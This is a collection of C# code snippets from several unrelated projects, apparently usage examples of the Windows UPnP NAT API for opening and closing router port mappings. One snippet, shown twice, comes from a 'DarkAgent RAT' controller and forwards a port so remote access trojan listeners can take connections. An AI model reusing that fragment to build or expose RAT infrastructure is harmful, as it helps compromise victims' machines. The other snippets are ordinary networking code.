public static void OpenPort() { try { UPnPNATClass class2 = new UPnPNATClass(); IStaticPortMappingCollection staticPortMappingCollection = class2.StaticPortMappingCollection; int port = GPGnetSelectedGame.SelectedGame.Port; if (port <= 0) { port = 0x17e0; } if (staticPortMappingCollection != null) { staticPortMappingCollection.Add(port, "UDP", port, Dns.GetHostName(), true, "GPGnet"); EventLog.WriteLine("[UPnP] Port mapped to " + port.ToString(), new object[0]); } else { ErrorLog.WriteLine("[UPnP] StaticPortMappings not available. Unable to open and forward port " + port.ToString() + " on internet gateway device.", new object[0]); ErrorLog.WriteLine("[UPnP] UPnP may be disabled or unsupported by IGD.", new object[0]); } } catch (Exception exception) { ErrorLog.WriteLine("[UPnP] Exception thrown, UPnP is unavailable:", new object[0]); ErrorLog.WriteLine(exception); } }
/// <summary> /// While running constantly loops to listen for packets /// </summary> private void ReceiveThread() { try { while (IsRunning) { var received = new byte[4096]; // Receive a message from the server EndPoint sender = new IPEndPoint(IPAddress.Any, 0); _listener.ReceiveFrom(received, ref sender); // Deal with the message InterpretRequest(received); } } catch (Exception ex) { Console.WriteLine(ex.StackTrace); } finally { // Send a disconnect packet to the server var dissconectPacket = new Packet(GlobalPacketId++, _localPort, Packet.Packets.Disconnect, ClientName); _sender.Send(dissconectPacket.GetData(), dissconectPacket.GetData().Length); _sender.Close(); var mappings = new UPnPNATClass().StaticPortMappingCollection; if (mappings != null) { try { mappings.Remove(_localPort, "UDP"); } catch (Exception) { // Port already removed } } else { Console.WriteLine("UPnP is not supported."); } } }
private void button3_Click(object sender, EventArgs e) { if (checkBox3.Checked) { try { UPnPNATClass UPnP = new UPnPNATClass(); UPnP.StaticPortMappingCollection.Add((int)numericUpDown3.Value, "TCP", (int)numericUpDown3.Value, "192.168.1.35", true, "DarkAgent RAT"); }catch {} } if (!checkBox4.Checked) { _listener.Add(new RatClientListener((int)numericUpDown3.Value, (int)numericUpDown1.Value)); } else { _FileListener.Add(new FileClientListener((int)numericUpDown3.Value, (int)numericUpDown1.Value)); } string[] str = new string[2]; str[0] = numericUpDown3.Value.ToString(); str[1] = numericUpDown1.Value.ToString(); ListViewItem itm = new ListViewItem(str, 0); listView4.Items.Add(itm); }
//This is code for get external ip private void NAT_TRAVERSAL_ACT() { UPnPNATClass uPnP = new UPnPNATClass(); IStaticPortMappingCollection map = uPnP.StaticPortMappingCollection; foreach (IStaticPortMapping item in map) { Debug.Print(item.ExternalIPAddress); //This line will give you external ip as string break; } }
public void StartListen(int localPort) { _packetRecieved = new AutoResetEvent(true); _localPort = localPort; UPnPNATClass upnpnat = new UPnPNATClass(); IStaticPortMappingCollection mappingCol = upnpnat.StaticPortMappingCollection; mappingCol.Add(localPort, "UDP", localPort, _localAddress.ToString(), true, "Voicer Network Client"); Trace.WriteLine(" Added mapping to UDP port - " + localPort); //mappingCol.Remove(localPort, "UDP"); _listenThread = new Thread(BeginReceive); _listenThread.Start(); }
public bool destroyPort(int port, String proto) { UPnPNATClass upnp = new UPnPNATClass(); IStaticPortMappingCollection maps = upnp.StaticPortMappingCollection; try { maps.Remove(port, proto); return true; } catch(Exception ex) { Console.WriteLine(ex.ToString()); return false; } }
public static void Exit() { try { Remote.remotes.ForEach(delegate(Remote r) { r.Disconnect(Server.customShutdownMessage); }); if (Server.upnpRunning || Server.upnp) { UPnPNATClass u = new UPnPNATClass(); //u.StaticPortMappingCollection.Remove(Server.port, "UDP"); u.StaticPortMappingCollection.Remove(port, "TCP"); Server.s.Log("UPnP forwarded Remote Console ports have been closed."); } if (listen != null) { listen.Close(); } } catch { } }
public UPnPNat() { try { WanAddr = IPAddress.Any; UPnPNATClass nat = new UPnPNATClass(); //if (nat.NATEventManager != null && nat.StaticPortMappingCollection != null) _uPnPNAT = nat; WanAddr = IPAddress.Parse(GetConnectNetAddress()); } catch (Exception ex) { } if (_uPnPNAT == null) { throw new NotSupportedException("没有可配置的UPNP NAT活动"); } }
private void UpdatePortForwards() { lblPortStatus.Text = "Checking port forwards..."; try { tblPortForwards.Rows.Clear(); IPAddress externalIP = YAMS.Networking.GetExternalIP(); lblExternalIP.Text = externalIP.ToString(); UPnPNATClass upnpnat = new UPnPNATClass(); IStaticPortMappingCollection mappings = upnpnat.StaticPortMappingCollection; progToolStrip.Maximum = mappings.Count; foreach (IStaticPortMapping p in mappings) { //This lists all available port mappings on the device, which could be an awful lot if (p.Description.IndexOf("YAMS") > -1) { //Check the port is open bool portOpen = YAMS.Networking.CheckExternalPort(externalIP, p.ExternalPort); //Add the port forward to the table DataGridViewRow row = new DataGridViewRow(); row.CreateCells(tblPortForwards); row.Cells[0].Value = p.Description; row.Cells[1].Value = p.ExternalPort; row.Cells[2].Value = portOpen; tblPortForwards.Rows.Add(row); } progToolStrip.PerformStep(); } } catch (Exception e) { MessageBox.Show(e.Message); } lblPortStatus.Text = "Done"; }
static void Main(string[] args) { if (args.Length == 0) { Console.WriteLine("Error: No arguments given."); return; } Console.WriteLine("Welcome to UPnP Helper by Floris de Haan."); Console.WriteLine("Loading..."); // Connect to UPnP UPNP_CONN = new UPnPNATClass(); PORT_MAPPING = UPNP_CONN.StaticPortMappingCollection; if (PORT_MAPPING == null) { Console.WriteLine("Error: Failed to load UPnP."); return; } Console.WriteLine("UPnP has been loaded succesfully."); // Get app task int port, maxPort; string desc, client, proto; switch (args[0]) { // bind [PROTO] [MIN_PORT] [MAX_PORT] [CLIENT] [DESC] case "bind": if (args.Length != 6) { Console.WriteLine("Error: Argument mismatch. use: bind [PROTO] [MIN_PORT] [MAX_PORT] [CLIENT] [DESC]"); return; } if (!Int32.TryParse(args[2], out port) || !Int32.TryParse(args[3], out maxPort)) { Console.WriteLine("Error: Failed to parse port."); return; } proto = args[1]; client = args[4]; desc = args[5]; // Check if port is used while (true) { try { IStaticPortMapping item = PORT_MAPPING[port, proto]; if (item.InternalClient == client) { //Console.WriteLine("Error: Port {0} is already assigned to self."); Console.WriteLine("Succeed. At port " + port.ToString()); return; } else { Console.WriteLine("Error: Port {0} is already used by other client."); port++; if (port > maxPort) return; } } catch (Exception e) { Console.WriteLine("Port is avaiable."); break; } } // Add Port try { PORT_MAPPING.Add(port, proto, port, client, true, desc); } catch (Exception e) { Console.WriteLine("Error: " + e.ToString()); return; } Console.WriteLine("Succeed. At port " + port.ToString()); break; // unbind [PROTO] [EXTERN_PORT] case "unbind": if (args.Length != 3) { Console.WriteLine("Error: Argument mismatch. use: unbind [PROTO] [EXTERN_PORT]"); return; } proto = args[1]; if (!Int32.TryParse(args[2], out port)) { Console.WriteLine("Error: Failed to parse port."); return; } try { PORT_MAPPING.Remove(port, proto); } catch (Exception e) { Console.WriteLine("Error: " + e.ToString()); return; } Console.WriteLine("Succeed. At port " + port.ToString()); break; default: Console.WriteLine("Unknown command."); break; } }
public UpnpHelper() { NatMgr = new UPnPNATClass(); }
private void button3_Click(object sender, EventArgs e) { if(checkBox3.Checked) { try { UPnPNATClass UPnP = new UPnPNATClass(); UPnP.StaticPortMappingCollection.Add((int)numericUpDown3.Value, "TCP", (int)numericUpDown3.Value, "192.168.1.35", true, "DarkAgent RAT"); }catch{} } if(!checkBox4.Checked) _listener.Add(new RatClientListener((int)numericUpDown3.Value, (int)numericUpDown1.Value)); else _FileListener.Add(new FileClientListener((int)numericUpDown3.Value, (int)numericUpDown1.Value)); string[] str = new string[2]; str[0] = numericUpDown3.Value.ToString(); str[1] = numericUpDown1.Value.ToString(); ListViewItem itm = new ListViewItem(str, 0); listView4.Items.Add(itm); }
private async void createHost(string hostIP) { var testNetIp = ""; try { testNetIp = getLocalIp(); } catch (Exception) { } //Check Network Connection First Of All if (isNetworkAvailable() || (testNetIp != "127.0.0.1" && testNetIp != "")) { #region Try To Open Port 8888 try { bool isPortOpened = false; try { #region Create Port Mapping Via UPnP Native Lib //create port mapping via UPnP UPnPNATClass upnpnat = new UPnPNATClass(); IStaticPortMappingCollection mappings = upnpnat.StaticPortMappingCollection; foreach (IStaticPortMapping portMapping in mappings) { // remove any old mappings if (portMapping.ExternalPort == 8888) { // Remove TCP forwarding for Port 8888 mappings.Remove(8888, "TCP"); // Remove UDP forwarding for Port 8888 mappings.Remove(8888, "UDP"); } } // Add TCP forwarding for Port 8888 mappings.Add(8888, "TCP", 8888, getLocalIp(), true, "MGS"); // Add UDP forwarding for Port 8888 mappings.Add(8888, "UDP", 8888, getLocalIp(), true, "MGS"); isPortOpened = true; #endregion } catch (Exception ex) { MessageBox.Show(ex.Message); isPortOpened = false; } if (!isPortOpened) { #region Create Port Mapping Via UPnP Open.NAT Lib var discoverer = new NatDiscoverer(); var cts = new CancellationTokenSource(10000); var device = await discoverer.DiscoverDeviceAsync(PortMapper.Upnp, cts); // remove any old mappings foreach (var mapping in await device.GetAllMappingsAsync()) { if (mapping.Description.Contains("MGS")) { await device.DeletePortMapAsync(mapping); } } // Add TCP forwarding for Port 8888 await device.CreatePortMapAsync(new Mapping(Protocol.Tcp, IPAddress.Parse(getLocalIp()), 8888, 8888, 0, "MGS")); // Add UDP forwarding for Port 8888 await device.CreatePortMapAsync(new Mapping(Protocol.Udp, IPAddress.Parse(getLocalIp()), 8888, 8888, 0, "MGS")); isPortOpened = true; #endregion } } catch (Exception) { MessageBox.Show("It seems to be that your router does not support UPnP!\n" + "Please open the port < 8888 (TCP/UDP) > manually then press ok", "Cannot Open <8888> Port Automatically :(", MessageBoxButton.OK, MessageBoxImage.Exclamation); } #endregion //Open Host And Join Self try { //get host.exe path string hostPath = System.Reflection.Assembly.GetEntryAssembly().Location; hostPath = hostPath.Replace("Client", "Host"); //set Host IP globalVars.userIp = hostIP; //start server System.Diagnostics.Process.Start(hostPath, globalVars.userIp); //join self await Task.Run(() => { joinSelf(); }); } catch (Exception ex) { MessageBox.Show(ex.Message); resetGraphics(); return; } //Open Room In Database And Join It then Switch Window try { //Initialize And Create A GameRoom this.Dispatcher.Invoke((Action)(() => { initAndCreateGameRoom(); })); //Join The Game Room if (globalVars.roomId != 0) { bool isJoined = globalVars.proxy.joinRoom(globalVars.roomId, globalVars.player.id, globalVars.userIp); if (isJoined) { Application.Current.Dispatcher.Invoke((Action) delegate { switchToNextWindow(); }); } else { //Try To Delete The Room try { globalVars.proxy.deleteRoom(); } catch (Exception) //If The Server Failed To Delete The Room (Connection Lost) { globalVars.offlineGameController.deleteRoom(globalVars.roomId); } MessageBox.Show("Room Created But Cannot Join The Room!", "Internal Error Occured :(", MessageBoxButton.OK, MessageBoxImage.Error); resetGraphics(); return; } } else { resetGraphics(); return; } } catch (Exception ex) { MessageBox.Show(ex.Message); resetGraphics(); return; } } else { MessageBox.Show("Please Check Your Network Connection!", "Network Connection Missing.", MessageBoxButton.OK, MessageBoxImage.Error); } }
private void UnregisterUpnp() { var upnpnat = new UPnPNATClass(); NATUPNPLib.IStaticPortMappingCollection mappings = upnpnat.StaticPortMappingCollection; mappings.Remove(_port, "TCP"); }
/// <summary> /// Register Upnp on the network to allow user connect behind firewall /// </summary> /// <param name="internalIpAddress">Computer internal IP</param> /// <returns>Computer external IP</returns> private string RegisterUpnp(IPAddress internalIpAddress) { var upnpnat = new UPnPNATClass(); NATUPNPLib.IStaticPortMappingCollection mappings = upnpnat.StaticPortMappingCollection; // Open the port var mapped = mappings.Add(_port, "TCP", _port, internalIpAddress.ToString(), true, "BrokenBotWatcher Server"); Console.WriteLine(mapped.ExternalIPAddress); return mapped.ExternalIPAddress; }